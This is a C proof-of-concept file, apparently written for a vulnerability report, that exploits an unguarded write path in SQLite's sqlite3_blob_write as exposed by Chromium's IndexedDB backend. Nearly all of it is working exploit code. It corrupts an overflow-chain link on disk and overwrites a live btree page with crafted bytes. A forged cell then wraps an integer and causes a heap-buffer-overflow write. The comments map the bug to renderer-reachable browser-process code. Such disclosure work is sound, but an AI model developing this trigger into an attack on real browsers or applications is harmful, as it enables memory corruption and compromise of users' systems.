// POC: sqlite3_blob_write -> accessPayload(eOp=1) memcpy()s caller bytes into
// an arbitrary in-cache btree page with no isInit/refcount guard.
//
// This is the SQLite primitive that the IndexedDB SQLite backend
// (content/browser/indexed_db/instance/sqlite/blob_writer.cc ->
//  sql::StreamingBlobHandle::Write -> sqlite3_blob_write) exposes to renderer-
// supplied DataPipe bytes in the browser process.
//
// The sibling overflow-overwrite path (btreeOverwriteOverflowCell, used by a
// same-size INSERT) explicitly guards with
//   if( sqlite3PagerPageRefcount(pPage->pDbPage)!=1 || pPage->isInit ){...}
// but the sqlite3_blob_write -> sqlite3BtreePutData -> accessPayload(eOp=1)
// path performs the memcpy with no such check (third_party/sqlite/src/src/
// btree.c:5263-5274).
//
// This POC:
//   1. Builds a 512-byte-page DB with `records` (victim) and `blobs` tables.
//   2. Corrupts ONE 4-byte overflow-chain link of blobs.data so the chain
//      visits the records leaf page (the report's precondition).
//   3. Parks a stepped SELECT cursor on the records leaf (page in-cache,
//      isInit==1, refcount>=1, BtCursor.aOverflow allocated to 8 bytes).
//   4. Calls sqlite3_blob_write() with crafted bytes.
//        -> sqlite3BtreePutData -> saveAllCursors(pBt, blobs.root, pCsr)
//           (records cursor has a different pgnoRoot -> NOT saved)
//        -> accessPayload(eOp=1) walks the corrupt chain to the records leaf
//        -> only check is `nextPage > pBt->nPage`; passes
//        -> copyPayload(eOp=1) memcpy()s our bytes into aData[4..usable)
//      The records leaf is now attacker-controlled while its MemPage (nCell,
//      aCellIdx, xParseCell, ...) still describes the OLD bytes.
//   5. Steps the records cursor.  findCell()/btreeParseCellPtr() parse
//      attacker bytes against the stale MemPage; the crafted cell sets
//      nPayload = 0xFFFFFFFF so the u32 expression
//        nOvfl = (nPayload - nLocal + ovflSize - 1) / ovflSize
//      wraps to 0, the existing 8-byte aOverflow[] allocation is reused, and
//      the overflow-walk loop writes aOverflow[2], aOverflow[3], ... ->
//      ASAN heap-buffer-overflow WRITE in accessPayload (btree.c:5207).
//
// Build (Chromium amalgamation + ASAN):  see build.sh
// Run:   ./poc

#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include "sqlite3.h"

#define PAGE_SZ 512
#define DBFILE "/tmp/poc_accesspayload.db"

static void die(const char *msg, int rc, sqlite3 *db) {
  fprintf(stderr, "[-] %s: rc=%d (%s)\n", msg, rc,
          db ? sqlite3_errmsg(db) : "n/a");
  exit(1);
}
static void exec(sqlite3 *db, const char *sql) {
  char *err = 0;
  int rc = sqlite3_exec(db, sql, 0, 0, &err);
  if (rc != SQLITE_OK) {
    fprintf(stderr, "[-] exec '%s' -> %d / %s\n", sql, rc, err ? err : "?");
    exit(1);
  }
}
static uint32_t be32(const unsigned char *p) {
  return ((uint32_t)p[0]<<24)|((uint32_t)p[1]<<16)|((uint32_t)p[2]<<8)|p[3];
}
static void put_be32(unsigned char *p, uint32_t v) {
  p[0]=(v>>24)&0xff; p[1]=(v>>16)&0xff; p[2]=(v>>8)&0xff; p[3]=v&0xff;
}
static int get_varint32(const unsigned char *p, uint32_t *out) {
  uint32_t v = 0; int i = 0;
  while (1) {
    v = (v<<7) | (p[i]&0x7f);
    if (!(p[i]&0x80) || i==8) { i++; break; }
    i++;
  }
  *out = v; return i;
}
// Compute nLocal for a *table-leaf* cell (maxLeaf/minLeaf).
static int table_leaf_nlocal(int usable, uint32_t nPayload) {
  int maxLeaf = usable - 35;
  int minLeaf = (usable-12)*32/255 - 23;
  if ((int)nPayload <= maxLeaf) return (int)nPayload;
  int surplus = minLeaf + ((int)nPayload - minLeaf) % (usable-4);
  return (surplus <= maxLeaf) ? surplus : minLeaf;
}

int main(void) {
  sqlite3_initialize();
  unlink(DBFILE); unlink(DBFILE "-journal");
  unlink(DBFILE "-wal"); unlink(DBFILE "-shm");

  // -------------------------------------------------------------------------
  // Phase 1: build a clean database.
  // -------------------------------------------------------------------------
  sqlite3 *db; int rc;
  if ((rc = sqlite3_open(DBFILE, &db))) die("open", rc, db);
  exec(db, "PRAGMA page_size=512");
  exec(db, "PRAGMA auto_vacuum=0");
  exec(db, "PRAGMA journal_mode=DELETE");
  exec(db, "PRAGMA mmap_size=0");

  // Victim table: row 1's BLOB needs exactly one overflow page so that the
  // first OP_Column allocates BtCursor.aOverflow with nOvfl=1 (8 bytes).
  exec(db, "CREATE TABLE records(k INTEGER PRIMARY KEY, v BLOB)");
  exec(db, "CREATE TABLE blobs(id INTEGER PRIMARY KEY, data BLOB)");
  exec(db, "INSERT INTO records(k,v) VALUES(1, zeroblob(600))");
  exec(db, "INSERT INTO records(k,v) VALUES(2, zeroblob(10))");
  // Large blob -> several overflow pages we can both corrupt and reuse.
  exec(db, "INSERT INTO blobs(id,data) VALUES(1, zeroblob(3000))");

  int records_root=0, blobs_root=0;
  {
    sqlite3_stmt *st;
    sqlite3_prepare_v2(db,
      "SELECT name, rootpage FROM sqlite_schema WHERE name IN ('records','blobs')",
      -1, &st, 0);
    while (sqlite3_step(st)==SQLITE_ROW) {
      const char *n=(const char*)sqlite3_column_text(st,0);
      int rp=sqlite3_column_int(st,1);
      if (!strcmp(n,"records")) records_root=rp;
      if (!strcmp(n,"blobs"))   blobs_root=rp;
    }
    sqlite3_finalize(st);
  }
  fprintf(stderr,"[*] records root=%d  blobs root=%d\n",records_root,blobs_root);
  sqlite3_close(db);

  // -------------------------------------------------------------------------
  // Phase 2: corrupt one overflow link on disk: blobs first overflow page's
  // next-pointer -> records leaf.  This is the report's precondition (in the
  // browser-process threat model, established by chaining or partial-write).
  // -------------------------------------------------------------------------
  FILE *f=fopen(DBFILE,"r+b"); if(!f){perror("fopen");return 1;}
  fseek(f,0,SEEK_END); long fsz=ftell(f); long npages=fsz/PAGE_SZ;
  unsigned char *file=malloc(fsz);
  fseek(f,0,SEEK_SET); fread(file,1,fsz,f);

  int usable = PAGE_SZ, ovflSize = usable-4;

  // Parse blobs leaf -> first cell -> firstOvfl.
  unsigned char *blobs_leaf = file + (blobs_root-1)*PAGE_SZ;
  int cellptr0 = (blobs_leaf[8]<<8)|blobs_leaf[9];
  unsigned char *bcell = blobs_leaf + cellptr0;
  uint32_t bPayload; int n = get_varint32(bcell,&bPayload);
  const unsigned char *bp = bcell+n;
  { int i=0; while((bp[i]&0x80)&&i<8) i++; bp+=i+1; }     // skip rowid
  int bLocal = table_leaf_nlocal(usable,bPayload);
  uint32_t bOvfl1 = be32(bp+bLocal);
  fprintf(stderr,"[*] blobs cell: nPayload=%u nLocal=%d firstOvfl=%u\n",
          bPayload,bLocal,bOvfl1);

  // Parse records leaf row1 cell -> nLocal (so we know nOvfl=1 for the cursor).
  unsigned char *rec_leaf = file + (records_root-1)*PAGE_SZ;
  int rptr0 = (rec_leaf[8]<<8)|rec_leaf[9];
  unsigned char *rcell = rec_leaf + rptr0;
  uint32_t rPayload; n = get_varint32(rcell,&rPayload);
  const unsigned char *rp = rcell+n;
  { int i=0; while((rp[i]&0x80)&&i<8) i++; rp+=i+1; }
  int rLocal = table_leaf_nlocal(usable,rPayload);
  int rOvflN = (rPayload - rLocal + ovflSize - 1)/ovflSize;
  fprintf(stderr,"[*] records row1: nPayload=%u nLocal=%d nOvfl=%d "
                 "(aOverflow alloc = %d bytes)\n",
          rPayload,rLocal,rOvflN,rOvflN*2*(int)sizeof(uint32_t));

  // Walk blobs overflow chain to learn page numbers.
  uint32_t chain[16]={0}; int clen=0; uint32_t pg=bOvfl1;
  while(pg && clen<16){ chain[clen++]=pg; pg=be32(file+(pg-1)*PAGE_SZ); }
  fprintf(stderr,"[*] blobs overflow chain:");
  for(int i=0;i<clen;i++) fprintf(stderr," %u",chain[i]);
  fprintf(stderr," (len=%d)\n",clen);
  if (clen < 5) { fprintf(stderr,"[-] need >=5 overflow pages\n"); return 1; }

  // CORRUPTION: redirect chain[0].next -> records leaf.
  put_be32(file+(chain[0]-1)*PAGE_SZ, (uint32_t)records_root);
  fprintf(stderr,"[*] corrupted: page %u next-link %u -> %d (records leaf)\n",
          chain[0], chain[1], records_root);

  fseek(f,0,SEEK_SET); fwrite(file,1,fsz,f); fclose(f); free(file);

  // -------------------------------------------------------------------------
  // Phase 3: trigger.
  // -------------------------------------------------------------------------
  if ((rc=sqlite3_open(DBFILE,&db))) die("reopen",rc,db);
  exec(db,"PRAGMA mmap_size=0");
  exec(db,"BEGIN");

  // Park a SELECT cursor on records row 1.  OP_Column for `v` (600-byte BLOB
  // with one overflow page) allocates BtCursor.aOverflow = 8 bytes.
  sqlite3_stmt *cur;
  if ((rc=sqlite3_prepare_v2(db,"SELECT k,v FROM records ORDER BY k",-1,&cur,0)))
    die("prepare records",rc,db);
  if ((rc=sqlite3_step(cur))!=SQLITE_ROW) die("step records[0]",rc,db);
  (void)sqlite3_column_blob(cur,1);
  fprintf(stderr,"[*] records cursor parked on k=%d (page %d isInit=1, "
                 "aOverflow alloc'd)\n",
          sqlite3_column_int(cur,0), records_root);

  // Open writable incremental-blob handle (== sql::StreamingBlobHandle wr=1).
  sqlite3_blob *blob;
  if ((rc=sqlite3_blob_open(db,"main","blobs","data",1,1,&blob)))
    die("blob_open",rc,db);

  // Compute the blob offset that lands at the start of the SECOND overflow
  // page == records leaf aData[4].  The blob column starts at record offset
  // (bPayload - 3000) within the cell payload.
  int iCol = (int)bPayload - 3000;
  int write_off = (bLocal - iCol) + ovflSize;
  int write_len = ovflSize;

  // Craft the records leaf bytes (q[i] -> aData[4+i]):
  unsigned char q[PAGE_SZ]; memset(q,0,sizeof(q));
  // aData[4..7]: nCell-lo / top / frag (don't matter for the OOB step).
  q[0]=2; q[1]=0x00; q[2]=0x80; q[3]=0;
  // aData[8..11] = cell-pointer array for ix=0,1 (cached nCell==2).
  // Point both at offset 100.
  int cellOff=100;
  q[4]=cellOff>>8; q[5]=cellOff&0xff;
  q[6]=cellOff>>8; q[7]=cellOff&0xff;
  // Crafted cell at aData[100] (== q[96]):
  unsigned char *c = q + (cellOff-4);
  // 9-byte all-0xFF varint -> nPayload = 0xFFFFFFFF (u32 wrap in nOvfl calc).
  memset(c,0xFF,9);
  c[9]=0x01;                           // rowid = 1 (1-byte varint)
  // record header at pPayload = aData[110]:
  //   hdrlen=20 (leave header under-consumed so OP_Column's check passes)
  //   col0 serial-type 0 (NULL for INTEGER PRIMARY KEY alias)
  //   col1 serial-type 12+2*2000 = 4012 -> varint 0x9F 0x2C
  c[10]=20; c[11]=0x00; c[12]=0x9F; c[13]=0x2C;
  // nLocal for nPayload=0xFFFFFFFF on a 512-byte table leaf is minLeaf=39
  // (surplus > maxLeaf).  First-overflow pgno at pPayload[39] = aData[149]
  // = q[145] -> chain[1], the still-intact remainder of blobs' overflow chain
  // (chain[1] -> chain[2] -> chain[3] -> chain[4] -> 0).
  put_be32(&q[145], chain[1]);

  // ==== THE UNGUARDED WRITE ====
  //   sqlite3_blob_write -> blobReadWrite -> sqlite3BtreePutData
  //     saveAllCursors(pBt, blobs.pgnoRoot, pCsr)   // records cursor skipped
  //   -> accessPayload(eOp=1) walks chain[0] -> records_root (only check is
  //   `nextPage > pBt->nPage`; passes) -> sqlite3PagerGet() the LIVE records
  //   leaf (refcount>1, isInit=1) -> copyPayload(eOp=1) memcpy()s q[] into
  //   aData[4..511] with NO isInit/refcount guard.
  rc = sqlite3_blob_write(blob, q, write_len, write_off);
  fprintf(stderr,"[*] sqlite3_blob_write(off=%d,len=%d) rc=%d (%s)\n",
          write_off,write_len,rc,sqlite3_errstr(rc));
  if (rc!=SQLITE_OK) die("blob_write",rc,db);
  sqlite3_blob_close(blob);
  fprintf(stderr,"[+] accessPayload(eOp=1) overwrote records leaf aData[4..] "
                 "while another cursor's MemPage still has isInit=1\n");

  // ==== DOWNSTREAM HEAP-BUFFER-OVERFLOW ====
  // OP_Next (ix 0->1) clears info/ValidOvfl but keeps aOverflow ptr.
  // OP_Column -> getCellInfo -> findCell(pPage,1) reads aCellIdx[2..3] ==
  // q[6..7] -> pCell = aData+100 -> btreeParseCellPtr parses our 0xFF varint
  // -> nPayload = 0xFFFFFFFF, nLocal = 39.
  // accessPayload(eOp=0): nOvfl = (0xFFFFFFFF - 39 + 507) / 508 = 467/508 = 0
  // (u32 wrap).  aOverflow!=NULL && 0 > MallocSize(8)==false -> NO realloc.
  // Loop walks chain[1]->chain[2]->chain[3]->... writing aOverflow[0],[1],
  // [2] ... -> heap-buffer-overflow WRITE 4 bytes past the 8-byte allocation.
  fprintf(stderr,"[*] stepping records cursor (stale MemPage + attacker aData)"
                 " -> expect ASAN heap-buffer-overflow in accessPayload\n");
  rc = sqlite3_step(cur);
  if (rc==SQLITE_ROW) {
    const void *v = sqlite3_column_blob(cur,1);
    fprintf(stderr,"    k=%d v=%p len=%d\n",
            sqlite3_column_int(cur,0), v, sqlite3_column_bytes(cur,1));
  } else {
    fprintf(stderr,"    step -> rc=%d (%s)\n",rc,sqlite3_errstr(rc));
  }

  sqlite3_finalize(cur);
  sqlite3_close(db);
  fprintf(stderr,"[!] reached end without ASAN report\n");
  return 0;
}
